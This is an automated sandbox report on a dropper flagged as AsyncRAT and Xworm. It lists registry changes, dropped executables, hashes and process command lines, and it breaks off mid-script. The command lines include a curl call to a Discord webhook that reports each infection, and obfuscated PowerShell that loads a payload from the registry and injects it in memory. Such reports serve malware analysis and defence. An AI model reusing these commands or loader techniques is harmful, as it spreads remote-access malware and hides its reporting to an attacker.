Analysis Overview
SHA256
9d89f838ab73933fc7a35b409e022dbb33e11c94c306ecfe9710e8ed3a82946e
Threat Level: Known bad
The file Dropper.exe was found to be: Known bad.
Malicious Activity Summary
Modifies security service
AsyncRat
Detect Xworm Payload
Suspicious use of NtCreateUserProcessOtherParentProcess
Xworm
Async RAT payload
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Legitimate hosting services abused for malware hosting/C2
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
Unsigned PE
Modifies data under HKEY_USERS
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Scheduled Task/Job: Scheduled Task
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-22 05:28
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-22 05:28
Reported
2024-06-22 05:30
Platform
win7-20240221-en
Max time kernel
150s
Max time network
17s
Command Line
Signatures
AsyncRat
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Modifies security service
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP | C:\Windows\System32\svchost.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection | C:\Windows\System32\svchost.exe | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 2472 created 436 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\system32\winlogon.exe |
Xworm
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-install.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Dropper.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Dropper.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Dropper.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Dropper.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2472 set thread context of 2924 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\System32\dllhost.exe |
Enumerates physical storage devices
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 2080a20265c4da01 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\dllhost.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\winlogon.exe
winlogon.exe
C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
C:\Windows\system32\taskhost.exe
"taskhost.exe"
C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
C:\Users\Admin\AppData\Local\Temp\Dropper.exe
"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-181336726890199196346993063320036088751165019595-209369799-1715889996-1778760264"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253936460533596222/A6HxzIjIDIKyWDj0ckcP1MgqmlK_CMtEmYhM4dwuWmPFk2q_02wySjZSHZuHPAmtdoBM" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
"C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
"C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
"C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
C:\Users\Admin\AppData\Local\Temp\$77-install.exe
"C:\Users\Admin\AppData\Local\Temp\$77-install.exe"
C:\Windows\system32\taskeng.exe
taskeng.exe {1C6B3C81-4611-49D9-B94D-D59B9922CD68} S-1-5-18:NT AUTHORITY\System:Service:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+'7'+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1852589390-125910951910900645171815424201861272163744980079-10220039661107960434"
C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2540b071-678a-448f-a4c1-5da0812adb47}
Network
Files
memory/2928-0-0x0000000074A5E000-0x0000000074A5F000-memory.dmp
memory/2928-1-0x0000000000BA0000-0x0000000000D10000-memory.dmp
\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
| MD5 | 77a71f3a441aa3bf824967e52413bec5 |
| SHA1 | c3d6df5cfc5eefaadf9bcb3703484e3cadf79588 |
| SHA256 | 1e6c87e492d90fbc4b9d2a16676a58735e33861f780c6c3020869337a0ccfc82 |
| SHA512 | 31c413cb410b366b63f0e763e288c2795584f9c7fda41eeea45f7d32a853da87e3ab58a144ff02a75b1d1803c7fef9fe3d561133a50a4e600799ed6f9050fd5b |
memory/3020-11-0x0000000000EF0000-0x0000000000F02000-memory.dmp
\Users\Admin\AppData\Local\Temp\$77-aachost.exe
| MD5 | 499861c56b2368cb123c027336370b92 |
| SHA1 | c018376876cc5906681502bdc4c313e9ce4bd6ad |
| SHA256 | 146a6db11db984e114e8942aa9a684f3c33c8348029cc1406754f134adbb3930 |
| SHA512 | c585a7e0cf0c860863699a13ae6843babbf13b13246715e9ae5ba8296b4037ee839c09b3648250c6a3687ee01e2ad5a65ebc77aabd42bd3ad7398d6b57f9e077 |
memory/2880-19-0x00000000010F0000-0x0000000001106000-memory.dmp
\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
| MD5 | 18f497deffe88b6b2cff336a277aface |
| SHA1 | 4e1413241d3d3e4dbff399d179f8fd64f3ecd39e |
| SHA256 | 8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5 |
| SHA512 | 35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d |
memory/2588-27-0x0000000000200000-0x0000000000246000-memory.dmp
\Users\Admin\AppData\Local\Temp\$77-install.exe
| MD5 | 1a7d1b5d24ba30c4d3d5502295ab5e89 |
| SHA1 | 2d5e69cf335605ba0a61f0bbecbea6fc06a42563 |
| SHA256 | b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5 |
| SHA512 | 859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa |
memory/2588-33-0x0000000000290000-0x0000000000296000-memory.dmp
memory/2472-35-0x0000000019F30000-0x000000001A212000-memory.dmp
memory/2472-36-0x0000000000A80000-0x0000000000A88000-memory.dmp
memory/2472-37-0x0000000019D80000-0x0000000019DAA000-memory.dmp
memory/2472-39-0x0000000077610000-0x000000007772F000-memory.dmp
memory/2472-38-0x0000000077830000-0x00000000779D9000-memory.dmp
memory/2924-40-0x0000000140000000-0x0000000140008000-memory.dmp
memory/2924-43-0x0000000140000000-0x0000000140008000-memory.dmp
memory/2924-47-0x0000000077610000-0x000000007772F000-memory.dmp
memory/2924-46-0x0000000077830000-0x00000000779D9000-memory.dmp
memory/2924-45-0x0000000140000000-0x0000000140008000-memory.dmp
memory/2924-42-0x0000000140000000-0x0000000140008000-memory.dmp
memory/2924-48-0x0000000140000000-0x0000000140008000-memory.dmp
memory/436-53-0x0000000000B70000-0x0000000000B95000-memory.dmp
memory/436-54-0x0000000000BA0000-0x0000000000BCB000-memory.dmp
memory/436-51-0x0000000000B70000-0x0000000000B95000-memory.dmp
memory/2924-41-0x0000000140000000-0x0000000140008000-memory.dmp
memory/436-55-0x0000000000BA0000-0x0000000000BCB000-memory.dmp
memory/480-75-0x0000000000080000-0x00000000000AB000-memory.dmp
memory/480-77-0x0000000037870000-0x0000000037880000-memory.dmp
memory/492-89-0x00000000001C0000-0x00000000001EB000-memory.dmp
memory/500-97-0x0000000000860000-0x000000000088B000-memory.dmp
memory/492-91-0x0000000037870000-0x0000000037880000-memory.dmp
memory/492-90-0x000007FEBF700000-0x000007FEBF710000-memory.dmp
memory/492-83-0x00000000001C0000-0x00000000001EB000-memory.dmp
memory/480-76-0x000007FEBF700000-0x000007FEBF710000-memory.dmp
memory/480-69-0x0000000000080000-0x00000000000AB000-memory.dmp
memory/436-63-0x0000000037870000-0x0000000037880000-memory.dmp
memory/436-62-0x000007FEBF700000-0x000007FEBF710000-memory.dmp
memory/436-61-0x0000000000BA0000-0x0000000000BCB000-memory.dmp
memory/2928-223-0x0000000074A5E000-0x0000000074A5F000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-22 05:28
Reported
2024-06-22 05:28
Platform
win10v2004-20240611-en
Max time kernel
5s
Max time network
7s
Command Line
Signatures
AsyncRat
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Dropper.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-install.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Enumerates physical storage devices
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ | C:\Users\Admin\AppData\Local\Temp\Dropper.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Dropper.exe
"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253936460533596222/A6HxzIjIDIKyWDj0ckcP1MgqmlK_CMtEmYhM4dwuWmPFk2q_02wySjZSHZuHPAmtdoBM" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
C:\Windows\SysWOW64\curl.exe
curl "https://discord.com/api/webhooks/1253936460533596222/A6HxzIjIDIKyWDj0ckcP1MgqmlK_CMtEmYhM4dwuWmPFk2q_02wySjZSHZuHPAmtdoBM" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
"C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
"C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
"C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
C:\Users\Admin\AppData\Local\Temp\$77-install.exe
"C:\Users\Admin\AppData\Local\Temp\$77-install.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cGMeUGbQwrUv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XodSWkjyDnBiia,[Parameter(Position=1)][Type]$PAOuipoSxq)$aTHgdegoXPd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+'ect'+[Char](101)+'dD'+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+'y'+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+'t'+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+','+'Sea'+'l'+''+'e'+'d'+[Char](44)+'A'+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+'l'+'a'+'s'+'s',[MulticastDelegate]);$aTHgdegoXPd.DefineConstructor('RTS'+[Char](112)+'e'+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e,'+'H'+''+[Char](105)+'d'+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+'P'+''+'u'+''+[Char](98)+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XodSWkjyDnBiia).SetImplementationFlags(''+[Char](82)+'un'+'t'+''+'i'+''+[Char](109)+'e'+','+''+[Char](77)+''+'a'+'na'+[Char](103)+'e'+[Char](100)+'');$aTHgdegoXPd.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+'e'+'',''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+'c'+','+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'',$PAOuipoSxq,$XodSWkjyDnBiia).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $aTHgdegoXPd.CreateType();}$yyojQTtxCfSnI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 